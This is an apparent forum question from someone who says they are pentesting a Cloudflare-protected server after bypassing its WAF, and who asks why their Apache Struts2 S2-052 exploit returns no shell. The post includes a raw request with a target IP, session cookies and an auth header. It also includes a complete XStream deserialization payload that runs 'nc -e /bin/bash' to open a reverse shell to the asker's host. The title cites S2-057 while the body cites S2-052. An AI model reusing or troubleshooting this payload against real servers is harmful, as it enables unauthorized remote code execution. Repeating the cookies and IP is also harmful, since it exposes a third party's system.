apache struts 2 s2-057 does not return shell? [closed]

Question

I do a pentest for a private server protected by Cloudflare. I bypassed the WAF and got the real IP for the server, then I scanned it with Acunetix and I found: Apache Struts2 Remote Command Execution (S2-052)

> POST /ar/ictc/news.jsp HTTP/1.1 Content-Type: application/xml
> Connection: keep-alive Cookie:
> JSESSIONID=52BBFD11275ED433FC29F21A17E0CC58;__cfduid=dc8abdec85d56bcd4bd2106719f5ac58f1565510723;PHPSESSID=54a4gj6btfcigqbupokaa2rli0
> Authorization: Basic YW5vbnltb3VzOmFub255bW91cw== Accept: */*
> Accept-Encoding: gzip,deflate Content-Length: 5650 Host: 194.187.80.70
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21
> (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

When I try to exploit it, I used ping -n myserverip to catch the ping request by tcpdump without success (and I try to get a reverse shell by netcat and by python and without success)

The payload I used:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>nc</string>
            <string>-e</string>
                        <string>/bin/bash</string>
                        <string>myserverip</string>
                        <string>4444</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>asdasd</name>
                  </filter>
                  <next class="string">asdasd</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

I don't know what the problem is and why I did not get a shell back. When I scan the server after I bypass WAF by nmap it shows that there is no firewall.